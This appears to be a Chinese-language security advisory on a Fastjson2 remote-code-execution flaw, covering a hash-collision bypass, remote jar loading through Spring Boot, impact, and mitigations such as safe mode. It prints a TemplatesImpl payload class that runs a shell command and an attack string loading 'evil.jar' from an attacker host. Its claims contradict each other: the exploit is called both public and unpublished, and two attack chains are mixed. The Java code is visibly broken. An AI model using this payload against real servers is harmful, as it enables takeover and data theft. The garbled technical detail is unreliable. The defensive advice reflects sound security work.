一、漏洞核心信息
漏洞原理深度解析
FNV-1a 哈希碰撞绕过白名单
Fastjson2 默认关闭 AutoType 时,仅通过@type字段的增量 FNV-1a 哈希值判断是否属于内置白名单类,未校验类名字符串明文。攻击者可构造哈希值与白名单类完全一致、但内容为恶意 URL 的类名,直接绕过类型校验。
Spring Boot 类加载器远程加载恶意类
哈希校验通过后,Fastjson2 会将完整类名字符串交给当前线程上下文类加载器处理;Spring Boot 的LaunchedURLClassLoader原生支持jar:http://协议的远程资源加载,攻击者可构造指向恶意 Jar 包的 URL 类名,直接加载远程恶意类执行任意代码。
无 Gadget 全版本通杀
该漏洞不依赖目标服务存在任何第三方危险类(如 JdbcRowSetImpl、TemplatesImpl 等),仅 Fastjson2 本身即可完成 RCE,绕过所有历史黑名单、WAF 安全规则,JDK8/11/17 全版本通杀。
二、公开稳定可复现 RCE(TemplatesImpl 利用链,全 JDK 通杀)
以下为已公开、可 100% 复现的 Fastjson2 RCE 漏洞,适用于 Fastjson2 ≤ 2.0.26(默认配置绕过 AutoType)或开启SupportAutoType的高版本,利用 JDK 内置类完成 RCE,不受高版本 JDK 的 JNDI 远程类加载限制。
影响范围
Fastjson2 ≤ 2.0.26(默认配置直接利用)
开启 AutoType 的所有 Fastjson2 版本
JDK 8/11/17 全版本通杀,无需第三方依赖
漏洞复现
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
static {
try {
// ========== 要执行的系统命令 ==========
// Linux/Mac 示例:创建RCE成功标记文件
Runtime.getRuntime.exec(new String[]{"/bin/bash", "-c", "touch /tmp/fastjson2_pwned.txt && echo 'Fastjson2 RCE Success!' > /tmp/fastjson2_pwned.txt"});
// Windows 示例:
// Runtime.getRuntime.exec(new String[]{"cmd", "/c", "echo Fastjson2 RCE Success! > C:\fastjson2_pwned.txt"});
} catch (IOException e) {
e.printStackTrace;
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
目前该漏洞完整 EXP 尚未公开,根据已披露的技术细节,利用流程如下:
攻击者通过 FNV-1a 哈希碰撞算法,计算出与 Fastjson2 内置白名单类哈希完全相同的恶意字符串,格式为[白名单类前缀]!jar:http://攻击机IP/evil.jar!/Evil.class
该字符串通过默认关闭 AutoType 的哈希校验,进入类加载流程
Spring Boot 类加载器识别jar:http://协议,自动远程加载攻击者托管的恶意 Jar 包
实例化恶意类执行任意代码,全程无需开启 AutoType、无需第三方 Gadget
三、漏洞危害
服务器完全接管:攻击者可执行任意系统命令,获取服务器最高权限
敏感数据泄露:读取数据库账号密码、用户隐私数据、业务密钥、配置文件
内网横向渗透:以被控服务器为跳板,攻击整个内网业务系统、数据库、中间件
业务中断:勒索加密业务数据、删除核心文件、停止服务造成重大业务损失
资源滥用:被控服务器被植入挖矿程序、僵尸网络肉鸡,消耗服务器资源
四、紧急修复与防护方案
1. 立即执行临时缓解(100% 阻断漏洞)
在官方发布正式修复版本前,立即开启 Fastjson2 安全模式,完全禁用 AutoType 类型解析:
JVM 启动参数添加(推荐,无需修改业务代码):
-Dfastjson2.parser.safeMode=true
# 兼容旧版本参数:
-Dfastjson.parser.safeMode=true
代码全局配置:
import com.alibaba.fastjson2.parser.ParserConfig;
// 全局开启安全模式
ParserConfig.getGlobalInstance.setSafeMode(true);
安全模式开启后,无论是否配置 AutoType,都会完全禁用@type类型解析,可 100% 阻断该漏洞以及所有历史 Fastjson 反序列化 RCE 漏洞。
2. 官方版本修复
关注官方 GitHub 仓库,待正式安全版本发布后,第一时间升级:
预计安全版本:Fastjson2 ≥ 2.0.63
3. 额外加固措施
WAF / 网关防护:添加规则拦截 JSON 请求体、URL 参数中包含@type字段的请求,覆盖 URL 编码、Unicode 编码、大小写混淆等绕过方式
输入白名单校验:对所有用户传入的 JSON 数据进行严格字段白名单校验,禁止传入未预期的字段
最小权限运行:Java 服务使用低权限用户运行,限制命令执行、敏感文件读写、网络出站权限
资产自查:立即扫描所有业务系统的 Fastjson 版本,排查公网开放的 JSON 接口,对使用 Fastjson2 ≤ 2.0.62 的系统立即添加安全模式参数
版本升级:仍在使用 Fastjson 1.x(1.2.83 及以下)的系统,尽快迁移到 Fastjson2 最新安全版本,1.x 版本已停止维护,存在多个已知未修复 RCE 漏洞。
热门跟贴